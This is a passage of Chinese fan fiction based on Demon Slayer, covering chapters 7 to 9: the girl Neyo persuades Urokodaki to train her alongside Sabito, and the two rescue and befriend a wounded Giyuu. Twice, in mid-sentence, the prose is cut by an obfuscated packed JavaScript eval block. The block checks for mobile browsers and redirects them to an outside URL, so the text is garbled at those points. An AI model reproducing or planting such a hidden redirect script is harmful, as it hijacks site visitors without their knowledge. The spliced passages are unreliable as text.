音叶目不转睛地看着她,拼命记住她的样子,从她的眼睛到鼻子再到她笑起来的嘴角。 真菰转过身,走了两步,想起来什么,回头看她。 “对了。” “嗯?” “那个……” 真菰想了想,好像在想怎么措辞。 “你告诉锖兔,让他别逞能。”她最后说,“难过就该伤心,累了就休息,别总是顾着别人的心思,这不是男子汉的表现。” 音叶张了张嘴,不知道该说什么,真菰笑了笑,转过身,继续往前走。 她走得不快,一步一步的,踏着晚霞,走出一段路,背影变得越来越小、越来越远。 可是直到她转过那道山弯,彻底消失在视线里,她的身子一直都是可以摸得到的,有触感、有气息、温热的。 音叶站在原地,站了很久,久到锖兔过来喊她吃晚饭,她低头看了看自己的手心,那里刚刚被掰开她的手指,还留下余温。 一直到手上的温度变凉,音叶才收回手,往回走,她一次都没有回头。 山那边什么也没有,只有小溪潺潺的流水声,还有不知名鸟儿的咕咕叫。 但是音叶知道,真菰在那儿,一直在这儿。 走到院子门口的时候,音叶看见锖兔站在那里。少年盯着她,没问她去哪儿了,没问她为什么眼睛红红的。 音叶走到他面前,站定。 “明天开始,”她说,“你陪我练。” 锖兔看着她,点了点头。 “好。” 屋子里,爷爷又做了一大桌子的菜,有山上的野菜,还有去镇上买来的肉,还摆着精致的和果子糕点。 音叶的鼻头又酸了一下,她揉揉鼻子,稳定好情绪,坚定地朝坐在那里的培育师开口:“爷爷,请允许我和锖兔一起训练,我不会让您再失去任何一个孩子了。” 7. 保证 音叶说完这话,空气中静了一瞬,鳞泷左近次把手中的筷子放下,锖兔倒是一脸果然如此的表情。 “你还不到十岁,”爷爷的声音和平时一样,听不出情绪,但是音叶恨不得他现在能够表达出来,那也比现在压抑着强。 “先坐下吧。” 音叶坐到自己的位置上,没有拿起筷子,就这么笔直地坐在那,等他的回复。 “拜托您了。” 鳞泷左近次依然没说话。 “爷爷,我知道你不想再失去任何人。”她说,“我知道你每次收到信的感受一定很不好,不然也不会经常下山去寺庙。原谅我私自打开那个木匣,看到了里面有多少信,我虽然认字不多,但是也猜出来她们是我们曾经送走的哥哥姐姐的名字。” 爷爷放下筷子,看向音叶。 “但是爷爷,”音叶看着他,声音有点抖,但是没有停下,“如果因为我害怕死就不练,那真菰姐、健太哥还有之前那些哥哥姐姐们就白死了。” 屋里安静了很久,久到音叶以为自己说错了话,久到她想转身跑出这个屋子。 爷爷摘下面具,那是一张温柔慈祥的脸,就是这张脸让他在战斗中遭到鬼的轻视与嘲笑,他的那双眼睛看着她,像看不见底的深渊。 “你知不知道,”他开口,声音比平时低,像是硬生生从喉咙里挤出来的,“真菰去之前,也是这样站在我面前说的。” 音叶把手攥成拳头,又慢慢松开。 “她说师父别担心,我们一定会安全回来的,我会把恶鬼歼灭的。” 鳞泷把面具放下,站起来,走到音叶面前。爷爷的个子在这个时代很高,站在音叶面前像一堵墙,如今带着些压迫感,他低着头看她,影子把她整个人都罩住了。 “你拿什么保证?” 音叶想张嘴说话,但她不知道该拿什么保证?她只是想带着真菰的意志去杀鬼,让更多人活下去。 一夜之间,她明白了生死,也懂得了救人的意义,她觉得自己长大了。 音叶又想起真菰的手,掰开她手指的时候,一点一点告诉她怎么握刀、想起真菰站在夕阳里,指着她胸口说,我一直都在这里陪着你们,你想我,我就在。 “我拿真菰姐保证。” 爷爷的眼神中似乎闪过犹豫。 “她在我这儿,”音叶把手按在胸口,“真菰姐说她一直都在我们身边,我也不想死,我要变得更加强大,要消灭世界上所有的恶鬼。” 生她的父母、在她成长每个阶段陪伴她的长大的哥哥姐姐们还有真菰和健太,都被鬼杀死了,音叶下定决心,一定要让恶鬼消失。 爷爷很高,如今在她面前,音叶需要仰着头才能看见爷爷的眼睛,但是她没有退缩,她想要争取一个机会。 “爷爷,我不会让你再失去任何一个孩子。”这句话说出来,音叶的心在狂跳,像是真菰在那里蹦蹦跳跳地表达不满。 音叶也知道自己说的太过了,她知道自己现在有多弱。她连动作都做不标准,握刀太紧、脚分不开,还是真菰一步一步教她去做的。 但是她一想到真菰的死,心里就有密密麻麻的针在扎似的,所以她还是说了。 爷爷在看她,音叶毫不妥协地与他对视,久到音叶的脖子对这个不舒服的姿势发出抗议。 爷爷走回原来坐的地方,拿起筷子接着夹菜:“不知道的问问锖兔。” 音叶猛得一怔,大脑空白一瞬,然后理解了爷爷的意思,手抖在颤抖。 “从明天开始,你们两个一起练,”鳞泷没抬头,但音叶听出来他话里的松动,“他练什么你练什么,我不会因为你年纪就对你有所松懈。” 音叶站在原地,有点不敢相信。 “但是,”鳞泷停顿了一下,“你比他练得晚,别指望他会等你,他要是不等你,你自己追。” 音叶用力点头。 “还有,”鳞泷终于又抬起头,看着她,眼神中思绪万千,最后只化成这句话。“那句话,我不要你保证。” “我要你活着做到。” 爷爷答应她的第二天,音叶开始跟着锖兔一起训练了,她也不再赖床。 早上天不亮就起来,劈柴、挥刀、跑山、踩石头过溪,锖兔做什么她就做什么,锖兔跑得快,她就在后面追,咬着牙往前跑,心里面不想那些乱七八糟的,跑得急了,能够感受到似乎有铁锈在嘴里。 但是音叶没有停下,她怕她一停下就追不上了,所以她摔了就自己爬起来,接着追。 刚开始跑山的时候,她摔了无数次,光是漏出衣服的伤口就不少,膝盖破了,手肘破了,脸上划了一道口子,血还糊了半边脸。音叶用真菰留下的手帕随意擦了擦,并不在意。 锖兔站在前面等她,看着她的样子,眉头皱起来:“你行不行?不行别硬撑。” “我可以的。” 后来跑山就没那么狼狈了,一次比一次受的伤少,直到某一天,她惊讶地发现自己与身体的匹配度高的出奇,竟然一次都没摔了。 锖兔站在山顶等她,看她跑上来,看着她面色如常的跑上来,气息依旧平稳,站在他旁边往山下看,雾蒙蒙的一片,根本看不见什么。 “你腿不疼?”他问。 音叶低头看了看自己的膝盖,受的伤已经结痂了,干巴巴地贴在皮肤上,但是已经感觉不到疼了。 “不疼。”她如实回答。 锖兔没说话,看向她的睫毛颤了又颤,嘴角不自觉地往下撇,显然没相信她说的话。 “快走吧,爷爷还在等我们。”音叶说。 她们已经跑完山了,感受过在空气稀薄的环境里匀速呼吸。按照爷爷的进度,下一步应该是需要过陷阱了。 鳞泷左近次在山里布了些陷阱——都是他花了大价钱拜托猎户帮忙布置的。音叶觉得,比起跑山,过陷阱的难度显然更大:掉下去就爬不上来的坑,一碰就往下掉的网,踩错了就会飞来木桩的机关,这些都是爷爷特意给他弟子准备的。 锖兔过的时候,受的攻击一个接着一个,被木桩撞飞出掉坑里、被网兜住挂在树上半天,还有一次直接在坑里爬不上来了。 音叶最开始过的时候也被木桩撞飞了,但是她飞出去落地之后,自己爬起来,拍了拍身上的土,又继续往里跑。 “你干嘛?”锖兔喊。 “我已经记住了,”音叶说,“这个位置,这个角度,下次躲开。” 她走回去,站到刚才踩错的那个地方,看了看周围,换了一条路。 这次木桩真的并没飞出来。 锖兔在那边看着,完全无法理解眼前的一切,脸上的表情转化为惊讶。 再一次过陷阱的时候,音叶就很少被撞飞了,但是还是会防不胜防地受伤。 “你怎么知道那个坑在那儿?”锖兔问。 “我记住了,上次我就从这摔下去,那下可疼死我了,”音叶说,“出来之后我就看了一圈,这边上的树最显眼,我就记住了。” 锖兔陷入了沉思:“你记性真好。” “不是我记性好,”音叶说,往前走,“摔得伤口太多了,也很疼,回去还要浪费时间去清理伤口。” 狭雾山很大,等到音叶和锖兔把山上的陷阱摸索得差不多的时候,夏天已经悄无声息地来了,知了开始叫唤,叫起来没完没了,整个狭雾山的温度还在升高,快要变成了无形的蒸笼。 应音叶的要求,三个人在鳞泷小屋简单的给她过完她的十岁生日,就开始了最重要的训练——呼吸法。 爷爷教的东西,音叶学得很快,虽然没有一遍就学会,但是多练几遍就记住了,记住了之后就可以随时随地找时间开始练。 锖兔有时候卡在一个动作上,翻来覆去地练,山上成日雾气环绕,闷得不像话,很快汗就浸湿了衣服。音叶在旁边看着他,看他练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375028|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完一遍,说:“你肩膀太高了。” 锖兔低头看看自己的肩膀,调整了一下,再练一遍。 “还是高。” 锖兔放下刀,神色晦涩:“你怎么看出来的?” “真菰姐教的,”音叶说,“她教我怎么看人练功,说脚、腰、肩膀都是关键,每一地方都不能出差错。” 锖兔没说话,过了一会儿,两个小孩就这么莫名其妙地开始互相纠错。 音叶练挥刀,练着练着手又攥紧了,但是显然她自己还没有意识到,就听见锖兔在旁边说:“你的手。” 音叶闻言,把手松开一点,她总是在这个地方犯错。 音叶把他的话原封不动地还给他:“你又是怎么看出来的?” “你手背上的筋鼓起来了,”锖兔说,“肯定是握刀太紧才会那样。” 有一天晚上,两个人练完功,坐在院子里那根躺倒的木头上休息,高高的一轮月亮挂在天上,照得地上泛白。 锖兔突然问音叶:“你真的一点都不怕?” 这话她曾经好像问过真菰,真菰那时候是怎么回答的来着…… “怕什么?” “那些陷阱,还有以后要去的山。” “怕,”她仔细地回忆,学着真菰的模样说,“但是怕也没用。” 锖兔侧过身,眼睛直勾勾的盯着音叶。 “真菰姐说,她在看着我,”音叶说,“我要是因为怕就不练了,她就白死了。” 锖兔嘴角轻轻一抽,一阵风吹过,将他淡橘色的头发吹乱,音叶伸手把他的头发理好。 过了一会儿,锖兔开口:“你运气真好。” “什么?” “被真菰姐看着,”他说,“为什么我爸爸一次都没有回来看过我?” 音叶沉默了,她看着面前这个总是自称男子汉的少年暗自神伤。 “他一直在你身边呀。”音叶说。 锖兔猛地转过头:“那我怎么感受不到?” “我运气好,能看到真菰一次,但是自此那次之后她就没出现过了,真菰姐吝啬得很,连进我的梦里都不肯。” 音叶感觉真菰会轻轻敲她脑袋,气鼓鼓地说以后再也不理她了。 锖兔还是没说话,他欲言又止,手在扣着木墩上的碎屑,那些碎屑一点点被风吹走。 音叶有点想笑:“你爸爸肯定也在身边守着你呢,好好的,知道吗,锖兔?” 锖兔笑着点头。 月亮挂在头顶,却被山上的雾挡住了,像附了一层薄薄的膜,知了已经歇下了,这意味着她们也该歇息了。 音叶低头看着自己的手,今天被石头划了一道,血已经干了,明天大概就只剩一条淡淡的印子。 她发现自己似乎不太容易受伤,就算伤了,也好得比别人快。 这是不是别人口中的皮糙肉厚? 发现是在跑山的时候,从摔破了膝盖、结痂、掉痂到化成淡淡的粉色,只用了两天,锖兔那次摔得没她重,还贴了五天师父给的药膏。 音叶没跟任何人说过,她突然觉得自己可能真的有天赋,这天赋却让人难以开口——她比较抗揍,伤口愈合得也快。 这算什么,音叶有些哭笑不得,她脑海里浮现真菰曾经对她说的话。 “我力气不大,但是我比他快。” 音叶觉得自己也是这样,她力气不大,没法一拳打碎石头的人,但是她抗揍,受伤了休息一会就接着打,直到把石头打碎。 “想什么呢?”锖兔在旁边问。 音叶回过神。 “没什么,”她说,“在想明天怎么比你快。” 锖兔站起来,他手臂撑着木头的边缘,脸凑近女孩,挑衅:“我不会让你比我快的。” 音叶也站起来,她发育得快,比锖兔高一点,站起来之后锖兔要抬头才能和她对视,她模仿锖兔的表情回了一句:“试试。” 8. 义勇 秋天的风已经带了凉意,山脚下的落叶积了厚厚一层,踩上去沙沙作响。音叶和锖兔蹲在小溪边,盯着水里游过的小鱼,谁也没动。 两个人练完一轮,已经把山里的陷阱摸透了。爷爷带着她们去猎户家商量新的陷阱布置情况了,让她们在山脚等着。与其说是等着,其实就是是抽空给她们放了个小假。 天知道狭雾山的夏季有多热,衣服湿了又干,干了又湿。 “那条鱼,你看见了吗?”锖兔压低声音,指着水里,“大的那条。” “看见了。” “你能抓到吗?” “你抓。” “我抓就我抓。” 锖兔卷起袖子,刚把手伸进水里,鱼尾巴一甩,溅了他一脸水,游得没影了。 音叶在旁边幸灾乐祸。 锖兔抹了把溅到脸上的水,扭头瞪她:“不来帮忙,还笑,你笑什么?” “笑你。” “你行你来。” “我又没说我要抓。” 两个人在小溪里闹了一阵,走出来,音叶放下卷起的裤脚,带着锖兔并排坐在溪边的大石头上,晒着秋天的太阳。 丰收的季节来了,山里的果子差不多都熟了,野柿子树结满了果实。音叶怂恿锖兔爬上树去摘,拿到柿子后用衣摆蹭一蹭就咬了一口。 一口下去,音叶整个脸都扭曲了。 好涩……这柿子一点都不好吃。 锖兔在旁边笑得合不拢嘴。 石阶上铺满了松果,小松鼠跳来跳去,嘴巴里塞得鼓鼓囊囊的,抱着松果带回树洞里。 音叶很喜欢狭雾山的秋天,那是丰收的季节。山上的野菜、地上的松果、树上的红叶,这些都是大自然的恩赐。 看见灌木丛,音叶的笑容顿住了。感谢爷爷的训练,让她在日常生活中也拉高了警惕心——那边的灌木丛,有什么东西在动。 明明没有风在吹,灌木丛却依然在动,窸窸窣窣的,很轻,像是什么力气用尽了,最后挣扎了一下。 音叶站起来,往灌木丛的方向走。 锖兔不明所以:“怎么了?” “那边,”音叶拨开杂草,回头对锖兔说:“有东西在动,好像不是风吹的。” 锖兔闻言也收了笑容,脸绷得紧紧的。 看到眼前的景象,两个人都顿住了,音叶的瞳孔猛地一缩,脚步声戛然而止,锖兔轻快的脚步也陡然顿住。 一个人躺在那里,是个孩子,浑身是血,衣服破得不成样子,脸被泥和血糊住,看不清长相。 人命关天的事,音叶顾不得那么多,她连忙蹲下,将手伸在那人的脖子上,试探着脉搏是否还有跳动。爷爷从外面带回来的受伤的人,她见过太多次了,至少能在这种时刻派上用场。 脉搏还在跳,尽管很慢很微弱,至少还有得救。 “活着,”她说,手开始迅速往下摸,开始翻找伤口的位置,“腿上有上、脖子上有伤还有脸上,怎么出那么多血……” 她拨开因为流血结了块的头发,看见额角一道很深的口子。 “头上也有伤……” 这么多天的训练,两个人早就有了默契,音叶刚刚抬头,就看见锖兔蹲下来了,在旁边看着她的动作。 “你背他,”音叶说,“去猎户叔叔家,爷爷在那儿。” 锖兔点点头,音叶帮他把那人背起来,他轻得吓人,比训练时背的重物还要轻。 锖兔往前走,音叶在旁边扶着,两个人深一脚浅一脚地往猎户家走。音叶一边走一边盯着那人的脸,时不时还要探一下那人的呼吸,好在呼吸还在,胸口还在起伏。 “你别让他掉下来,走稳一点,别急。” “知道。” 两个人一路上没敢耽搁一分钟,也顾不上礼仪,直接推开猎户家的门。 老猎户正在和鳞泷左近次说话,看见两个孩子进来,背着个血糊糊的人,茶杯差点掉在地上。 鳞泷左近次直接站起来了:“放在榻上。” 锖兔把人放上去,站在旁边喘气,老猎户给他递来一杯水,他直接一饮而尽。 音叶进屋开始也没闲着,开始找布、找水、找药,幸亏爷爷经常带她来猎户家串门,让她对猎户家有些了解。 老猎户和鳞泷左近次处理伤口的时候,她就蹲在旁边递东西,眼睛一直盯着那张被血糊住的脸。 老猎户把伤口清理干净,露出底下的皮肤,一张因为失血而面色苍白的脸,嘴唇也是白的,年纪看上去和锖兔差不多大,紧闭着双眼,眉头皱着。 “你们送来的及时,他命也大,”老猎户松了一口气,“再晚一会儿,就不好说了。” 那天晚上,音叶不肯去睡。 她跪坐在塌边,背靠着墙,守着那个还没醒的男孩,锖兔也不肯睡,坐在她旁边。 “你以前也这样?”锖兔小声问。 音叶脸上扬起笑容:“你刚回来的时候,猜猜是谁给你换衣服擦身体,是谁给你伤口涂药的?” 锖兔的脸瞬间红了,音叶像是没看过一样,捏捏他的脸蛋,又摸摸他通红的耳垂。 玩够了,音叶才正经地回答他。 “爷爷以前经常带受伤的人回来,”她说,“大部分情况伤得不重,不过也有受重伤的,就像你之前那样。” 锖兔又问她:“那你见过很多?” “嗯。” “疼吗?” “那要问你自己。” 锖兔沉默了一会儿:“疼。” 他说,“但是活着就好。” 音叶没说话,气氛冷下来,她双手抱着手臂靠在墙上闭着眼小憩。过了一会儿,锖兔把自己的外褂脱下来,披在她身上。 音叶睁眼看他。 “你冷。”锖兔说,没看她。 音叶低头看看身上那件外褂,又看看他只穿着单衣的样子,默认着收下锖兔的衣服,对着少年闭眼的模样道谢:“谢谢。” 半夜的时候,那人醒了,发出很小的动静,音叶立马睁开眼去看他。 那双眼睛睁开的时候,音叶举着烛火,火焰刚好晃了一下,火光在那双眼睛里闪了又闪,最后停住。 那是一双海蓝色的颜色,比真菰的眼睛颜色深很多,像是深海的海底。 男孩的眼神有些迟钝,看上去很不适应陌生的环境。 “你醒了。”音叶轻声说。 男孩不说话,看向音叶。 “你受了很严重的伤,”音叶说,“我们在山脚下发现的你,这里是一个猎户家,我爷爷也在,白天刚给你处理了伤口,这两天别乱动。” 那人还是不说话,眼神有些不知所措。 锖兔被音叶的说话声吵醒,走过来,看见那人醒了,他站到音叶旁边,低头看着躺在榻上的人。 “你叫什么?”锖兔问。 那人看着他,又看着音叶,嘴唇动了动,没出声。 锖兔等了等,又问:“你家在哪儿?你怎么受的伤?” 那人的眼神变了,海蓝色的潭水里,有什么东西翻涌上来。 “鬼。” 声音沙哑,干涩,像是很久没说过话。 锖兔愣住了。 “鬼……吃……姐姐……柜子……” 话说不下去了,那双眼睛里开始有东西往外涌,可是那人咬着牙,一声都不吭,只是眼泪一直往下流,音叶用手帕擦掉。 “姐姐让我藏在柜子里,”他说,声音抖得厉害,“她说不论发生什么都不要出来,我听着外面……听着她的动静……我什么都没有做,我什么都没有做……” 他抬起手,攥紧身下的被褥,音叶发现血从布条下面渗出来,伤口好像是裂开了,但是他好像感觉不到。 “他们说世界上没有鬼的存在……说我得了失心疯,要把我送去精神病院……但是我没生病……我看见了,我从柜子缝里都看见了。” 他看着音叶,看着锖兔,海蓝色的眼睛里全是泪,头发乱糟糟的,竖起来,像是一只自我保护的刺猬,话也讲得断断续续,但是基本的情况都说出来了。 “我没疯。” 音叶和锖兔都没有说话了。 他们知道鬼是什么,他们的亲人、真菰和健太都是死在鬼手里。 “我信你。”音叶开口。 那人的眼睛睁大了一点,但是没说话。 “鬼是存在的,”音叶说,“我爷爷就是杀鬼的人,我们也在学,以后也要去杀鬼。” 那人睁着眼睛看着她,一动不动。 “你姐姐……”音叶顿住。 “我一定会把吃掉她的那只鬼杀掉。” 那人还是看着她,海蓝色的眼睛里,那层翻涌的东西慢慢静下来。他张了张嘴,想说什么,可是嗓子像是被什么东西堵住了,只发出一点沙哑的气音。 音叶往前挪了挪,坐得离他更近一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375029|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,问:“你叫什么?” 他看着她的眼睛,看了很久,音叶觉得他像是在发呆,但又像是在思考问题。 “……义勇。”男孩的声音很轻,“我叫富冈义勇。” 窗外的天已经蒙蒙亮了。 老猎户和鳞泷师父在外间说话,声音压得很低,听不清在说什么。锖兔靠在墙边睡着了,呼吸很轻,眉头还皱着,不知道在做什么梦。 音叶一夜没睡,她就在榻边守着这个叫义勇的男孩守了一夜。 义勇也没睡,他睁着那双海蓝色的眼睛,盯着头顶的房梁,一动不动,眼泪已经不流了,但是眼眶还红着,眼睫上还挂着没干的痕迹。 音叶没有安慰他,她知道这种情况安慰是没有效果的。所以她只是坐在那里,偶尔看一眼他的伤口,偶尔看一眼他的脸。 义勇突然开口:“……你多大了?” 声音哑得厉害,像是从嗓子里硬挤出来的。 “十岁。”音叶说。 义勇没再说话,过了一会儿,他又问:“你们……真的见过鬼?” “没见过。”音叶说,“但是爷爷见过,我们的师姐师兄见过,他们都死在鬼手里。” 义勇的睫毛颤了一下,似乎又有眼泪要流出来。 “那你们还要去?” “要去。” “为什么?” 太多人问她这个问题了,她还是用真菰的话回答:“因为鬼会吃人,”她说,“因为有人在等我们去拯救。” 义勇沉默了,他垂下眼,睫毛长长的,还有泪珠挂在睫毛上,整个人看起来极其易碎。 窗外猎户养的公鸡打起鸣来了,天边开始发白,灰蒙蒙的光从窗棂透进来,落在炕上,落在义勇的脸上。 他的眼睛还红着,但情绪已经平复下来了。 音叶站起来,走到外间。老猎户家有灶台,音叶舀了半杯米,点起火,放米煮粥,等它咕嘟咕嘟地冒泡。 锖兔被声音吵醒了,揉着眼睛走过来,看见她在灶台前面忙活,眉头还皱着:“你怎么做这么早的饭?” “给义勇喝。” “他会喝吗?” “会。” 音叶把粥盛进碗里,端回房间,义勇还是睁着眼睛看房梁,听见脚步声,侧过头,眼珠转了转,看她。 音叶在榻边坐下,把碗放在旁边的和式矮桌上。 “给你煮的粥,”她说,“已经不烫了。” 义勇没动,音叶也不催。过了一会儿,义勇慢慢撑着自己坐起来,伤口疼得他脸发白,但是他咬着牙,一声不吭。 音叶伸手把碗递给他。 义勇接过去,低头看着那碗粥。糙米煮得稀烂,稀稀的,上面飘着几粒米,他拿起勺子,舀了一勺,送进嘴里。 吃了几口他就停下来,低下头,肩膀开始抖,像是在忍耐。粥碗在他手里晃,洒出来一点,落在被子上。 音叶伸出手,把碗接过来,放回矮桌上。 义勇低着头,肩膀还在抖,却没有声音。 音叶坐在旁边,不说话,等他哭完,像真菰曾经等她哭完一样。 过了很久,义勇抬起头,眼眶红透了,脸上全是泪,可是他看着音叶,海蓝色的眼睛里,有了一点不一样的东西。 “……谢谢。”他说。 声音还是哑的,但至少情绪听上去还不错。 音叶点点头,把碗重新递给他:“快喝完吧,凉了就不好喝了。” 义勇接过去,低头继续喝,一小口一小口地吞着,把那碗稀粥喝完了。 音叶接过空碗,站起来:“你睡一会儿吧,一夜没睡,好不容易救回来,身体会遭不住的。” 义勇看着她:“你们……还会来吗?” “会。”音叶说,“我每天练习都会经过这里,只要经过这里我就会来告诉你今天练了什么,等你好了,可以一起练。” 义勇愣了一下:“我也能练?” “你想练就能练。”音叶说。 她走到门口,脚步顿了一瞬,她回过头,看着塌上那个海蓝色眼睛的男孩。 “你姐姐,”她指向自己的胸口,“她也会在这儿看着你的。” 义勇没说话。 “我师姐说的。” 义勇低头看着自己的胸口,看了很久,等他再抬起头的时候,门口已经没有人了,只有一碗喝得干干净净的空碗,和窗外渐渐亮起来的天。 9. 融入 义勇在猎户家躺了几天,才能下地走路。 音叶训练完来的时候,看见他站在门口,扶着门框,盯着外面的山发呆。 “能走了?”她问。 义勇回头,看了她一眼,点点头。 音叶走过去,站到他旁边,秋天的山,叶子落了大半,光秃秃的树枝戳着灰白的天。 “你以后打算去哪儿?” 义勇回答不出来,音叶也没想着去催,她代入自己想了一下,亲人被害,身边的人都说她疯了要把她送到精神病院去,好不容易跑出来却掉入陷阱身受重伤,要她她也一时半会接受不了。 义勇开口:“你们……真的在杀鬼?” “在学,”音叶回答,“学好了就去。” 义勇沉默了一会儿:“我也想学。” “你能帮我跟你爷爷说吗?” …… 富冈义勇没有让音叶帮他说,他自己找到机会跟鳞泷左近次说的。 百无聊赖的一个下午,鳞泷左近次来猎户给他换药,义勇自己开口了:“师父。” 鳞泷左近次正在拆他腿上的布条,头也没抬。 “我也想学杀鬼。” 鳞泷的手顿了一下,眉头微微皱了一下,然后继续拆布条。 “伤还没好。” “好了,我已经能跑了。”义勇说。 鳞泷没说话,他把旧布条拆下来,换了新的,一圈一圈缠好。 “这几天别瞎跑,”他说,“再养养。” 鳞泷左近次并没有答应义勇的请求,他就像没有听到这句话一样,换好药后面色如常地离开了。 义勇坐在塌上,看着那个背影消失在门口。 音叶站在院子里,看见了整个过程,爷爷从她身边经过,就像没看到她一样,径直从她身边走过,招呼都没打一句。 她看着爷爷的背影,又看看屋里老老实实跪坐在塌边的义勇,他的体态很好,跪得笔直,骨子里带着城里人的气质,微微低头盯着自己刚换好布条的腿。 当天晚上,音叶就去敲了爷爷的门,屋里亮着灯,门没关严,透出一条细细的光。 “进来。” 音叶推开门,陈旧的门发出吱呀吱呀的声响。 左近次坐在桌边,桌子上摆着打开了的木匣,信纸被一张一张铺好放在桌子上,纸张褶皱得不像话,像是经常有人把它拿出来翻看。 “爷爷。” 左近次没抬头,音叶走过去,在他面前站定。 “义勇的事,您为什么不同意?” 鳞泷没说话。 “他想学。” “我知道。” “爷爷为什么不能教他?” 鳞泷抬起头,看着她。脸上的天狗面具戴着一丝凶狠,但是音叶并不怕,因为她知道爷爷与他的面具是截然相反的。 “我教了多少人,你知道吗?” 音叶摇头。 “十几个,”鳞泷说,“活着的,现在只有你们两个。” 音叶的手攥紧了。 “真菰走了,健太走了,还有以前那些,他们都走了。”鳞泷的声音很低,很平,像在叙述一件不属于自己的故事。 “他们走的时候,都站在我面前说过同样的话,他们都说,师父,我会回来的。可是他们没有一个回来的,全部被恶鬼杀死了……” 音叶张了张嘴,不知道该怎样安慰爷爷。 “义勇是个好孩子,”鳞泷说,“我看得出来,他想报仇,可是我不想再收到信了。” 他低下头,看着那些信纸,随手拿起铺在桌子上的一张信纸,静静地看着,声音中带着哽咽:“他们都是我带大的孩子,收到信的时候,我怎么可能不难过?我不能眼睁睁的在看着你们去送死了……” “爷爷。”音叶开口。 音叶非常能理解爷爷的痛苦,从她有记忆以来懵懵懂懂地看着爷爷送走了一批一批孩子。知道她现在长大,真正面临了真菰和健太的死亡,才理解爷爷的感受。 鳞泷左近次没抬头,音叶却往前走了一步。 “真菰姐走之前,给我留了一样东西。” 鳞泷的手指动了一下,他轻轻抚平腿上信纸的褶皱。 “她让我活着,”音叶说,“她说,活着、训练、长大,就能帮更多的人活着。” “我会带着她的意志一直努力下去。” 鳞泷抬起头,看着她。 “我不会让义勇去送死的,”音叶说,“我和锖兔都那么厉害,我一定会努力把杀死他们的那只恶鬼消灭……” 屋里安静了很久,直到灯芯爆了一下,噼啪一声。 鳞泷左近次才跟回了神一样,低下头,看着那张信纸,然后又把信纸放回木匣,扣上锁扣。 “你就那么想让我收他?” “不是我想,是他想,我只是来替他问问您的决定。” 左近次叹了口气,把桌子上的木匣当着音叶的面放回柜子上面,朝她摆摆手:“你先出去吧。” 音叶动作肉眼可见的一滞。 “爷爷……” “出去。” 音叶以为没有希望了,在脑子里盘算着明天如何向义勇答复,就听见爷爷妥协似的开口:“明天让他跟着跑山。” 音叶怔了一下,随即转身看向爷爷。老人头发花白,摘下面具,漏出一张与面具反差感很大的脸,脸上却布满沧桑。 “……谢谢爷爷。”音叶跑出去了。 鳞泷左近次没抬头,摆摆手:“快走吧,回去睡觉吧,真是那你们没办法了。” 第二天,得知消息的音叶在路过猎户家时照例来到他家找义勇。 当时义勇正坐在门口,看着周边的风景。 “可以了!”音叶急着跑过来,呼吸有些急促,但语气却很开朗,显然是为这位刚认识没多久的朋友高兴。 义勇站起来,像是没有明白她话中的意思一样,呆在原地。 “爷爷让你跟着跑山。” 义勇的眼睛眨了一下:“他……同意了?” “同意了,”音叶回答,“但是我觉得你得先养好身体,训练什么的放在后头再说吧……” 义勇顺从地点点头,乖顺的样子让她想起了寺庙里亲人的小野猫。 音叶忍不住摸摸他的头发,又觉得有点扎手,若无其事地收回手:“走吧。” 义勇低下头,看着自己的腿,布条还缠着,一圈一圈白的,他下定决心:“等我好了就一定能追上你们。” 音叶托着下巴,露出一副孺子可教也的表情,满意地点了点头。 看着女孩走出院子的背影,富冈义勇回头看了一眼屋里,老猎户还在灶台边忙活,烟囱里正冒出滚滚浓烟。他又看了看远处的山,山上雾蒙蒙的一片,什么都看不到。 义勇正式开始训练的那天早上,音叶和锖兔已经在山脚等着了。 锖兔看见义勇走过来,上下打量了他一眼,似乎觉得他的身体还没有完全好,质疑道:“你真的能跑?” 义勇点头。 “那跑吧。”他转身就往山上跑。 义勇似乎还没有反应过来,反应过来后立刻动身追了上去。 锖兔在前面跑一段时间便回头看一眼,看见义勇还在后面跟着就放下心继续往前跑。 音叶跟在最后面,毫不费力,还有空和锖兔聊聊日常,不紧不慢。 跑到半山腰的时候,义勇绊了一下,差点摔倒,音叶赶忙伸手扶住了义勇,这才阻止这场悲剧的发生。 锖兔停下来问他:“腿疼?” 义勇点点头,又摇摇头,有点呆呆的。 锖兔看着他,像是拿他没办法,走到义勇身边蹲下:“歇一会儿。” 义勇微怔,犹豫片刻,张口:“不用……” “是我自己累了,要歇一会儿。”锖兔已经在彻底放松下来了。 义勇低头看着锖兔圆圆的脑壳,站着思考了一会,然后也学着锖兔慢吞吞地蹲下去。 音叶走过来,也在旁边蹲下。三个孩子就这么排排蹲着,看着山下的风景。 秋天的风吹过来,已经带有一丝寒冷的气息了,音叶这时候恍惚地发现,原来这一年经历了那么多的事情。 过了一会儿,锖兔开口:“你挺能撑的。” 义勇转头看他。 “腿疼也不说,”锖兔没看他,盯着山下,“我见过你脸上的那种表情,硬撑着,最开始跑山的时候,音叶也那样。” 义勇又把眼神看向音叶。 音叶耸耸肩,她知道锖兔要开始安慰义勇了,就把自己缩到最小,当作自己不存在,只是一味地看着山下。 “她摔了也不说,”锖兔说,“过陷阱撞了也不说,问她疼不疼,她说习惯了。” 义勇沉默了一会儿,似乎不太相信眼前这个能说会笑、活泼开朗的女孩还有这一面。 